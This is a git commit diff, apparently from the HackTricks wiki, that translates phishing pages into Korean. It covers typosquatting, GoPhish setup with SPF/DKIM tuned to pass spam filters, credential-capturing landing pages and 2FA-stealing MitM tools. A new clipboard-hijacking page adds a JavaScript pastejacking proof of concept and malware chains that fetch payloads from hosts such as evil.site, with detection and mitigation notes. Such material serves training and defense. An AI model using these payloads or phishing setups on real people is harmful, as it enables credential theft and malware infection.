Translated ['src/generic-methodologies-and-resources/phishing-methodolog

This commit is contained in:
Translator 2025-07-16 06:11:09 +00:00
parent 4832a49aa7
commit 39336bc828
3 changed files with 139 additions and 42 deletions

View File

@ -28,6 +28,7 @@
- [Enable Nexmon Monitor And Injection On Android](generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md)
- [Evil Twin EAP-TLS](generic-methodologies-and-resources/pentesting-wifi/evil-twin-eap-tls.md)
- [Phishing Methodology](generic-methodologies-and-resources/phishing-methodology/README.md)
- [Clipboard Hijacking](generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md)
- [Clone a Website](generic-methodologies-and-resources/phishing-methodology/clone-a-website.md)
- [Detecting Phishing](generic-methodologies-and-resources/phishing-methodology/detecting-phising.md)
- [Discord Invite Hijacking](generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md)

View File

@ -6,11 +6,11 @@
1. 피해자 조사
1. **피해자 도메인** 선택.
2. 피해자가 사용하는 **로그인 포털**을 찾기 위해 기본 웹 열거 수행하고 **어떤 것을** **가장하는지** **결정**합니다.
3. **OSINT**를 사용하여 **이메일** 찾기.
2. 피해자가 사용하는 **로그인 포털**을 찾기 위해 기본 웹 열거 수행 후 **어떤 것을** **가장할지 결정**.
3. **OSINT**를 사용하여 **이메일 찾기**.
2. 환경 준비
1. 피싱 평가에 사용할 **도메인 구매**.
2. 관련 기록**이메일 서비스** 구성 (SPF, DMARC, DKIM, rDNS).
2. 관련 기록(SPF, DMARC, DKIM, rDNS)으로 **이메일 서비스 구성**.
3. **gophish**로 VPS 구성.
3. 캠페인 준비
1. **이메일 템플릿** 준비.
@ -23,15 +23,15 @@
- **키워드**: 도메인 이름에 원래 도메인의 중요한 **키워드**가 포함됨 (예: zelster.com-management.com).
- **하이픈 서브도메인**: 서브도메인의 **점**을 **하이픈**으로 변경 (예: www-zelster.com).
- **새 TLD**: **새 TLD**를 사용하는 동일 도메인 (예: zelster.org).
- **호모글리프**: 도메인 이름의 문자를 **비슷하게 보이는 문자**로 **대체** (예: zelfser.com).
- **새 TLD**: **새 TLD**를 사용하는 동일 도메인 (예: zelster.org).
- **호모글리프**: 도메인 이름의 문자를 **유사한 문자**로 **대체** (예: zelfser.com).
- **전치**: 도메인 이름 내에서 두 문자를 **교환** (예: zelsetr.com).
- **단수화/복수화**: 도메인 이름 끝에 “s”를 추가하거나 제거 (예: zeltsers.com).
- **생략**: 도메인 이름에서 **하나의** 문자를 **제거** (예: zelser.com).
- **반복**: 도메인 이름에서 **하나의** 문자를 **반복** (예: zeltsser.com).
- **대체**: 호모글리프와 비슷하지만 덜 은밀함. 도메인 이름의 문자를 원래 문자와 키보드에서 가까운 문자로 대체 (예: zektser.com).
- **생략**: 도메인 이름에서 문자를 **하나 제거** (예: zelser.com).
- **반복**: 도메인 이름에서 문자를 **하나 반복** (예: zeltsser.com).
- **대체**: 호모글리프와 비슷하지만 덜 은밀함. 도메인 이름의 문자를 원래 문자와 가까운 키보드의 문자로 대체 (예: zektser.com).
- **서브도메인화**: 도메인 이름 내에 **점**을 추가 (예: ze.lster.com).
- **삽입**: 도메인 이름에 **문자**를 **삽입** (예: zerltser.com).
- **삽입**: 도메인 이름에 문자를 **삽입** (예: zerltser.com).
- **누락된 점**: 도메인 이름에 TLD를 추가 (예: zelstercom.com).
**자동 도구**
@ -45,13 +45,13 @@
- [https://dnstwister.report/](https://dnstwister.report)
- [https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/](https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/)
### 비트플리핑
### 비트 플리핑
**저장되거나 통신 중인 일부 비트가 자동으로 뒤집힐 가능성**이 있습니다. 이는 태양 플레어, 우주선, 하드웨어 오류와 같은 다양한 요인으로 인해 발생할 수 있습니다.
**저장되거나 통신 중인 일부 비트가 자동으로 뒤바뀔 가능성**이 있으며, 이는 태양 플레어, 우주선, 하드웨어 오류 등 다양한 요인으로 인해 발생할 수 있습니다.
이 개념이 **DNS 요청에 적용될 때**, **DNS 서버에서 수신된 도메인**이 처음 요청한 도메인과 다를 수 있습니다.
예를 들어, "windows.com"의 단일 비트 수정은 "windnws.com"으로 변경 수 있습니다.
예를 들어, "windows.com"의 단일 비트 수정은 "windnws.com"으로 변경 수 있습니다.
공격자는 **피해자의 도메인과 유사한 여러 비트 플리핑 도메인을 등록하여 이를 이용할 수 있습니다**. 그들의 의도는 합법적인 사용자를 자신의 인프라로 리디렉션하는 것입니다.
@ -74,7 +74,7 @@
- [https://anymailfinder.com/](https://anymailfinder.com)
**더 많은** 유효한 이메일 주소를 **발견하거나** 이미 발견한 이메일 주소를 **검증**하기 위해 피해자의 SMTP 서버를 브루트 포스할 수 있는지 확인할 수 있습니다. [여기에서 이메일 주소를 검증/발견하는 방법을 배우세요](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
또한 사용자가 **메일에 접근하기 위해 웹 포털을 사용하는 경우**, 해당 포털이 **사용자 이름 브루트 포스**에 취약한지 확인하고 가능하다면 취약점을 용하는 것을 잊지 마세요.
또한 사용자가 **메일에 접근하기 위해 웹 포털을 사용하는 경우**, 해당 포털이 **사용자 이름 브루트 포스**에 취약한지 확인하고 가능하다면 취약점을 용하는 것을 잊지 마세요.
## GoPhish 구성
@ -91,7 +91,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip>
**TLS 인증서 구성**
이 단계 전에 **사용할 도메인을 이미 구매해야** 하며, 해당 도메인은 **gophish**를 구성하고 있는 **VPS의 IP**를 **가리켜야** 합니다.
이 단계 전에 **사용할 도메인을 이미 구매**해야 하며, 해당 도메인은 **gophish**를 구성하고 있는 **VPS의 IP**를 **가리키고** 있어야 합니다.
```bash
DOMAIN="<domain>"
wget https://dl.eff.org/certbot-auto
@ -124,7 +124,7 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
마지막으로 **`/etc/hostname`** 및 **`/etc/mailname`** 파일을 도메인 이름으로 수정하고 **VPS를 재시작합니다.**
이제 **DNS A 레코드**를 `mail.<domain>`으로 생성하여 **VPS의 IP 주소**를 가리키고, **DNS MX** 레코드를 `mail.<domain>`으로 설정합니다.
이제 **DNS A 레코드**를 `mail.<domain>`으로 생성하고 **VPS의 IP 주소**를 가리키며, **DNS MX** 레코드를 `mail.<domain>`으로 설정합니다.
이제 이메일을 보내는 테스트를 해봅시다:
```bash
@ -161,7 +161,7 @@ gophish의 실행을 중지하고 구성합시다.\
```
**gophish 서비스 구성**
gophish 서비스를 자동으로 시작하고 관리할 수 있도록 하려면 `/etc/init.d/gophish` 파일을 다음 내용으로 생성할 수 있습니다:
gophish 서비스를 자동으로 시작하고 관리할 수 있도록 하려면 다음 내용을 포함한 파일 `/etc/init.d/gophish` 생성할 수 있습니다:
```bash
#!/bin/bash
# /etc/init.d/gophish
@ -223,9 +223,9 @@ service gophish stop
### 기다리고 합법적으로 행동하기
도메인이 오래될수록 스팸으로 잡힐 가능성이 낮아집니다. 따라서 피싱 평가 전에 가능한 한 오랫동안 기다려야 합니다(최소 1주). 또한, 평판이 좋은 분야에 대한 페이지를 만들면 얻는 평판이 더 좋습니다.
도메인이 오래될수록 스팸으로 잡힐 가능성이 낮아집니다. 따라서 피싱 평가 전에 가능한 한 오랫동안 (최소 1주일) 기다려야 합니다. 또한, 평판이 좋은 분야에 대한 페이지를 만들면 얻는 평판이 더 좋습니다.
1주 기다려야 하더라도 지금 모든 구성을 마칠 수 있다는 점에 유의하세요.
1주일을 기다려야 하더라도 지금 모든 구성을 마칠 수 있다는 점에 유의하세요.
### 역 DNS (rDNS) 레코드 구성
@ -235,7 +235,7 @@ VPS의 IP 주소를 도메인 이름으로 해석하는 rDNS (PTR) 레코드를
새 도메인에 대해 **SPF 레코드를 구성해야 합니다**. SPF 레코드가 무엇인지 모른다면 [**이 페이지를 읽어보세요**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
[https://www.spfwizard.net/](https://www.spfwizard.net) 를 사용하여 SPF 정책을 생성할 수 있습니다(사용할 VPS 머신의 IP를 입력하세요).
[https://www.spfwizard.net/](https://www.spfwizard.net) 를 사용하여 SPF 정책을 생성할 수 있습니다 (VPS 머신의 IP를 사용하세요).
![](<../../images/image (1037).png>)
@ -247,7 +247,7 @@ v=spf1 mx a ip4:ip.ip.ip.ip ?all
새 도메인에 대해 **DMARC 레코드를 구성해야 합니다**. DMARC 레코드가 무엇인지 모른다면 [**이 페이지를 읽어보세요**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
다음 내용을 포함하여 호스트 이름 `_dmarc.<domain>`을 가리키는 새로운 DNS TXT 레코드를 생성해야 합니다:
호스트 이름 `_dmarc.<domain>`을 가리키는 새로운 DNS TXT 레코드를 다음 내용으로 생성해야 합니다:
```bash
v=DMARC1; p=none
```
@ -257,7 +257,7 @@ v=DMARC1; p=none
이 튜토리얼은 다음을 기반으로 합니다: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
> [!NOTE]
> [!TIP]
> DKIM 키가 생성하는 두 B64 값을 연결해야 합니다:
>
> ```
@ -271,7 +271,7 @@ v=DMARC1; p=none
```bash
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
```
당신은 또한 **이메일 구성을 확인할 수 있습니다** `check-auth@verifier.port25.com`으로 이메일을 보내고 **응답을 읽는 것** (이를 위해서는 **포트 25를 열고** 이메일을 루트로 보냈을 경우 _/var/mail/root_ 파일에서 응답을 확인해야 합니다).\
당신은 또한 **이메일 구성을 확인할 수 있습니다** `check-auth@verifier.port25.com`으로 이메일을 보내고 **응답을 읽습니다** (이를 위해서는 **포트 25를 열고** 이메일을 루트로 보냈을 경우 _/var/mail/root_ 파일에서 응답을 확인해야 합니다).\
모든 테스트를 통과하는지 확인하세요:
```bash
==========================================================
@ -291,7 +291,7 @@ dkim=pass header.i=@example.com;
```
### ​스팸하우스 블랙리스트에서 제거하기
페이지 [www.mail-tester.com](https://www.mail-tester.com)에서 귀하의 도메인이 스팸하우스에 의해 차단되고 있는지 확인할 수 있습니다. 귀하의 도메인/IP를 제거 요청할 수 있는 곳: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
페이지 [www.mail-tester.com](https://www.mail-tester.com) 귀하의 도메인이 스팸하우스에 의해 차단되고 있는지 확인할 수 있습니다. 귀하의 도메인/IP를 제거 요청할 수 있는 곳: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
### 마이크로소프트 블랙리스트에서 제거하기
@ -307,14 +307,14 @@ dkim=pass header.i=@example.com;
![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
> [!NOTE]
> 모든 것이 작동하는지 테스트하기 위해 "**테스트 이메일 보내기**" 기능을 사용하는 것이 좋습니다.\
> [!TIP]
> "**테스트 이메일 보내기**" 기능을 사용하여 모든 것이 작동하는지 테스트하는 것이 좋습니다.\
> 테스트를 진행할 때 블랙리스트에 올라가는 것을 피하기 위해 **10분 메일 주소로 테스트 이메일을 보내는 것을 추천합니다.**
### 이메일 템플릿
- 템플릿을 식별할 **이름**을 설정합니다.
- 그런 다음 **제목**을 작성합니다 (이상한 내용이 아닌, 일반 이메일에서 읽을 수 있는 내용).
- 그런 다음 **제목**을 작성합니다 (특별한 것이 아닌, 일반 이메일에서 읽을 수 있는 내용).
- "**추적 이미지 추가**"를 체크했는지 확인합니다.
- **이메일 템플릿**을 작성합니다 (다음 예제와 같이 변수를 사용할 수 있습니다):
```html
@ -343,24 +343,24 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
![](<../../images/image (80).png>)
> [!NOTE]
> [!TIP]
> 이메일 템플릿은 **전송할 파일을 첨부**할 수 있습니다. NTLM 챌린지를 훔치기 위해 특별히 제작된 파일/문서를 사용하고 싶다면 [이 페이지를 읽어보세요](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
### 랜딩 페이지
- **이름**을 작성합니다.
- 웹 페이지의 **HTML 코드를 작성**합니다. 웹 페이지를 **가져올** 있습니다.
- 웹 페이지의 **HTML 코드를 작성**합니다. 웹 페이지를 **가져올** 있습니다.
- **제출된 데이터 캡처** 및 **비밀번호 캡처**를 선택합니다.
- **리디렉션**을 설정합니다.
![](<../../images/image (826).png>)
> [!NOTE]
> [!TIP]
> 일반적으로 페이지의 HTML 코드를 수정하고 로컬에서 몇 가지 테스트를 수행해야 합니다(아마도 Apache 서버를 사용하여) **결과가 마음에 들 때까지**. 그런 다음 그 HTML 코드를 상자에 작성합니다.\
> HTML에 **정적 리소스**(아마도 CSS 및 JS 페이지)를 사용해야 하는 경우 _**/opt/gophish/static/endpoint**_에 저장한 후 _**/static/\<filename>**_에서 액세스할 수 있습니다.
> [!NOTE]
> 리디렉션을 위해 **사용자를 피해자의 정품 메인 웹 페이지로 리디렉션**하거나 예를 들어 _/static/migration.html_로 리디렉션하여 **5초 동안 회전하는 휠**(**[**https://loading.io/**](https://loading.io)**)을 표시한 후 프로세스가 성공적으로 완료되었음을 알릴 수 있습니다.
> [!TIP]
> 리디렉션을 위해 **사용자를 피해자의 합법적인 메인 웹 페이지로 리디렉션**하거나 예를 들어 _/static/migration.html_로 리디렉션하여 **5초 동안 회전하는 휠(**[**https://loading.io/**](https://loading.io)**)을 표시한 후 프로세스가 성공적으로 완료되었다고 알릴 수 있습니다.**
### 사용자 및 그룹
@ -377,8 +377,8 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
![](<../../images/image (192).png>)
> [!NOTE]
> 테스트 이메일을 **10분 메일 주소**로 보내는 것이 좋습니다. 테스트를 하면서 블랙리스트에 오르는 것을 피할 수 있습니다.
> [!TIP]
> 테스트 이메일을 **10분 메일 주소**로 보내는 것이 좋습니다. 테스트를 하면서 블랙리스트에 올라가는 것을 피할 수 있습니다.
모든 준비가 완료되면 캠페인을 시작하세요!
@ -392,8 +392,8 @@ clone-a-website.md
## 백도어가 포함된 문서 및 파일
일부 피싱 평가(주로 레드 팀의 경우)에서는 **백도어가 포함된 파일을 전송**하고 싶을 수 있습니다(아마도 C2 또는 인증을 트리거하는 것일 수 있습니다).\
다음 페이지에서 몇 가지 예를 확인하세요:
일부 피싱 평가(주로 레드 팀의 경우)에서는 **백도어가 포함된 파일을 전송**하고 싶을 수 있습니다(아마도 C2이거나 인증을 트리거하는 무언가일 수 있습니다).\
다음 페이지에서 몇 가지 예를 확인하세요:
{{#ref}}
phishing-documents.md
@ -405,35 +405,43 @@ phishing-documents.md
이전 공격은 실제 웹사이트를 가장하고 사용자가 설정한 정보를 수집하는 매우 영리한 방법입니다. 불행히도 사용자가 올바른 비밀번호를 입력하지 않거나 가장한 애플리케이션이 2FA로 구성된 경우, **이 정보로는 속은 사용자를 가장할 수 없습니다**.
이때 [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) 및 [**muraena**](https://github.com/muraenateam/muraena)와 같은 도구가 유용합니다. 이 도구는 MitM과 같은 공격을 생성할 수 있게 해줍니다. 기본적으로 공격은 다음과 같은 방식으로 작동합니다:
때 [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) 및 [**muraena**](https://github.com/muraenateam/muraena)와 같은 도구가 유용합니다. 이 도구는 MitM과 같은 공격을 생성할 수 있게 해줍니다. 기본적으로 공격은 다음과 같은 방식으로 작동합니다:
1. 실제 웹페이지의 로그인 양식을 **가장**합니다.
2. 사용자가 **자신의 자격 증명**을 가짜 페이지로 **전송**하고 도구는 이를 실제 웹페이지로 전송하여 **자격 증명이 작동하는지 확인**합니다.
1. 실제 웹페이지의 로그인 양식을 **가장합니다**.
2. 사용자가 **자신의 자격 증명**을 가짜 페이지로 **전송**하고 도구는 이를 실제 웹페이지로 전송하여 **자격 증명이 작동하는지 확인합니다**.
3. 계정이 **2FA**로 구성된 경우, MitM 페이지는 이를 요청하고 사용자가 **입력**하면 도구는 이를 실제 웹페이지로 전송합니다.
4. 사용자가 인증되면 공격자는 **자격 증명, 2FA, 쿠키 및 도구가 MitM을 수행하는 동안의 모든 상호작용 정보를 캡처**하게 됩니다.
### VNC를 통한
피해자를 **원본과 동일한 모습의 악성 페이지**로 보내는 대신, **실제 웹 페이지에 연결된 브라우저가 있는 VNC 세션**으로 보낸다면 어떻게 될까요? 사용자가 하는 일을 보고 비밀번호, 사용된 MFA, 쿠키 등을 훔칠 수 있습니다.\
피해자를 **원본과 동일한 모습의 악성 페이지**로 보내는 대신, **실제 웹 페이지에 연결된 브라우저가 있는 VNC 세션**으로 보낼 수 있다면 어떻게 될까요? 사용자가 하는 일을 볼 수 있고, 비밀번호, 사용된 MFA, 쿠키 등을 훔칠 수 있습니다.\
이것은 [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)로 수행할 수 있습니다.
## 탐지 감지
당연히 자신이 발각되었는지 아는 가장 좋은 방법 중 하나는 **블랙리스트에서 도메인을 검색**하는 것입니다. 목록에 나타나면, 어떤 식으로든 귀하의 도메인이 의심스럽다고 감지된 것입니다.\
당연히 자신이 발각되었는지 아는 가장 좋은 방법 중 하나는 **블랙리스트에서 도메인을 검색하는 것입니다**. 만약 목록에 나타난다면, 어떤 식으로든 당신의 도메인이 의심스럽다고 감지된 것입니다.\
도메인이 블랙리스트에 나타나는지 확인하는 쉬운 방법은 [https://malwareworld.com/](https://malwareworld.com) 를 사용하는 것입니다.
그러나 피해자가 **야생에서 의심스러운 피싱 활동을 적극적으로 찾고 있는지** 아는 다른 방법도 있습니다:
그러나 피해자가 **활발히 의심스러운 피싱 활동을 찾고 있는지** 아는 다른 방법도 있습니다. 이는 다음과 같이 설명됩니다:
{{#ref}}
detecting-phising.md
{{#endref}}
피해자의 도메인과 **매우 유사한 이름의 도메인을 구매**하거나 **귀하가 제어하는 도메인의 서브도메인에 대한 인증서를 생성**할 수 있습니다. 피해자의 도메인의 **키워드**를 포함하는 경우, 피해자가 이들과 **DNS 또는 HTTP 상호작용**을 수행하면 **그가 의심스러운 도메인을 적극적으로 찾고 있다는 것을 알 수 있으며** 매우 은밀해야 합니다.
피해자의 도메인과 **매우 유사한 이름의 도메인을 구매**하거나 **당신이 제어하는 도메인의 서브도메인에 대한 인증서를 생성**할 수 있습니다. 피해자의 도메인의 **키워드**를 포함하는 경우입니다. 만약 **피해자**가 그들과 어떤 종류의 **DNS 또는 HTTP 상호작용**을 수행하면, **그가 의심스러운 도메인을 활발히 찾고 있다는 것을 알 수 있으며 매우 은밀해야 합니다.**
### 피싱 평가
[**Phishious**](https://github.com/Rices/Phishious)를 사용하여 이메일이 스팸 폴더에 들어갈지, 차단될지, 성공할지를 평가하세요.
## 클립보드 하이재킹 / 붙여넣기 해킹
공격자는 손상된 웹 페이지나 오타가 있는 웹 페이지에서 피해자의 클립보드에 악성 명령을 조용히 복사한 다음 사용자가 **Win + R**, **Win + X** 또는 터미널 창에 붙여넣도록 속여서 다운로드나 첨부 없이 임의의 코드를 실행할 수 있습니다.
{{#ref}}
clipboard-hijacking.md
{{#endref}}
## 참고 문헌
- [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)

View File

@ -0,0 +1,88 @@
# Clipboard Hijacking (Pastejacking) Attacks
{{#include ../../banners/hacktricks-training.md}}
> "절대 자신이 복사하지 않은 것을 붙여넣지 마세요." 오래된 조언이지만 여전히 유효합니다.
## Overview
Clipboard hijacking 또한 *pastejacking*으로 알려져 있음 사용자가 명령을 검사하지 않고 일상적으로 복사하고 붙여넣는 사실을 악용합니다. 악의적인 웹 페이지(또는 Electron 또는 데스크탑 애플리케이션과 같은 JavaScript를 지원하는 컨텍스트)는 공격자가 제어하는 텍스트를 시스템 클립보드에 프로그래밍 방식으로 삽입합니다. 피해자는 일반적으로 정교하게 제작된 사회 공학 지침에 의해 **Win + R** (실행 대화 상자), **Win + X** (빠른 액세스 / PowerShell)을 누르거나 터미널을 열고 클립보드 내용을 *붙여넣기* 하도록 유도되어 즉시 임의의 명령을 실행하게 됩니다.
**파일이 다운로드되지 않고 첨부파일이 열리지 않기 때문에**, 이 기술은 첨부파일, 매크로 또는 직접 명령 실행을 모니터링하는 대부분의 이메일 및 웹 콘텐츠 보안 제어를 우회합니다. 따라서 이 공격은 NetSupport RAT, Latrodectus 로더 또는 Lumma Stealer와 같은 상용 맬웨어 패밀리를 배포하는 피싱 캠페인에서 인기가 있습니다.
## JavaScript Proof-of-Concept
```html
<!-- Any user interaction (click) is enough to grant clipboard write permission in modern browsers -->
<button id="fix" onclick="copyPayload()">Fix the error</button>
<script>
function copyPayload() {
const payload = `powershell -nop -w hidden -enc <BASE64-PS1>`; // hidden PowerShell one-liner
navigator.clipboard.writeText(payload)
.then(() => alert('Now press Win+R , paste and hit Enter to fix the problem.'));
}
</script>
```
이전 캠페인은 `document.execCommand('copy')`를 사용했지만, 최신 캠페인은 비동기 **Clipboard API** (`navigator.clipboard.writeText`)에 의존합니다.
## ClickFix / ClearFake 흐름
1. 사용자가 오타가 있는 또는 손상된 사이트(예: `docusign.sa[.]com`)를 방문합니다.
2. 주입된 **ClearFake** JavaScript가 `unsecuredCopyToClipboard()` 헬퍼를 호출하여 Base64로 인코딩된 PowerShell 원라이너를 클립보드에 조용히 저장합니다.
3. HTML 지침은 피해자에게 다음과 같이 말합니다: *“**Win + R**을 누르고, 명령을 붙여넣고 Enter를 눌러 문제를 해결하세요.”*
4. `powershell.exe`가 실행되어 합법적인 실행 파일과 악성 DLL이 포함된 아카이브를 다운로드합니다(고전적인 DLL 사이드로딩).
5. 로더가 추가 단계를 복호화하고, 셸코드를 주입하며, 지속성을 설치합니다(예: 예약 작업) 궁극적으로 NetSupport RAT / Latrodectus / Lumma Stealer를 실행합니다.
### 예시 NetSupport RAT 체인
```powershell
powershell -nop -w hidden -enc <Base64>
# ↓ Decodes to:
Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
%TEMP%\f\jp2launcher.exe # Sideloads msvcp140.dll
```
* `jp2launcher.exe` (정상적인 Java WebStart)는 자신의 디렉토리에서 `msvcp140.dll`을 검색합니다.
* 악성 DLL은 **GetProcAddress**로 API를 동적으로 해결하고, **curl.exe**를 통해 두 개의 바이너리(`data_3.bin`, `data_4.bin`)를 다운로드하며, `"https://google.com/"`라는 롤링 XOR 키를 사용하여 이를 복호화하고, 최종 셸코드를 주입하며 **client32.exe** (NetSupport RAT)를 `C:\ProgramData\SecurityCheck_v1\`에 압축 해제합니다.
### Latrodectus Loader
```
powershell -nop -enc <Base64> # Cloud Identificator: 2031
```
1. **curl.exe**로 `la.txt` 다운로드
2. **cscript.exe** 내에서 JScript 다운로더 실행
3. MSI 페이로드를 가져옴 → 서명된 애플리케이션 옆에 `libcef.dll` 드롭 → DLL 사이드로딩 → 셸코드 → Latrodectus.
### MSHTA를 통한 Lumma Stealer
```
mshta https://iplogger.co/xxxx =+\\xxx
```
The **mshta** 호출은 숨겨진 PowerShell 스크립트를 실행하여 `PartyContinued.exe`를 검색하고, `Boat.pst` (CAB)를 추출하며, `extrac32` 및 파일 연결을 통해 `AutoIt3.exe`를 재구성한 후, 브라우저 자격 증명을 `sumeriavgv.digital`로 유출하는 `.a3x` 스크립트를 실행합니다.
## 탐지 및 사냥
블루팀은 클립보드, 프로세스 생성 및 레지스트리 텔레메트리를 결합하여 pastejacking 남용을 정확히 찾아낼 수 있습니다:
* Windows 레지스트리: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU`**Win + R** 명령의 기록을 유지합니다 비정상적인 Base64 / 난독화된 항목을 찾아보세요.
* 보안 이벤트 ID **4688** (프로세스 생성)에서 `ParentImage` == `explorer.exe`이고 `NewProcessName`이 { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }에 있는 경우.
* 의심스러운 4688 이벤트 직전에 `%LocalAppData%\Microsoft\Windows\WinX\` 또는 임시 폴더에서 파일 생성에 대한 이벤트 ID **4663**.
* EDR 클립보드 센서 (존재하는 경우) `Clipboard Write`가 새로운 PowerShell 프로세스에 의해 즉시 이어지는지 상관관계 분석.
## 완화 조치
1. 브라우저 강화 클립보드 쓰기 접근을 비활성화 (`dom.events.asyncClipboard.clipboardItem` 등)하거나 사용자 제스처를 요구합니다.
2. 보안 인식 사용자에게 민감한 명령을 *타이핑* 하거나 먼저 텍스트 편집기에 붙여넣도록 교육합니다.
3. PowerShell 제한 언어 모드 / 실행 정책 + 응용 프로그램 제어를 통해 임의의 원라이너를 차단합니다.
4. 네트워크 제어 알려진 pastejacking 및 악성 C2 도메인에 대한 아웃바운드 요청을 차단합니다.
## 관련 트릭
* **Discord 초대 하이재킹**은 사용자를 악성 서버로 유인한 후 동일한 ClickFix 접근 방식을 자주 남용합니다:
{{#ref}}
discord-invite-hijacking.md
{{#endref}}
## 참조
- [Fix the Click: Preventing the ClickFix Attack Vector](https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/)
- [Pastejacking PoC GitHub](https://github.com/dxa4481/Pastejacking)
{{#include ../../banners/hacktricks-training.md}}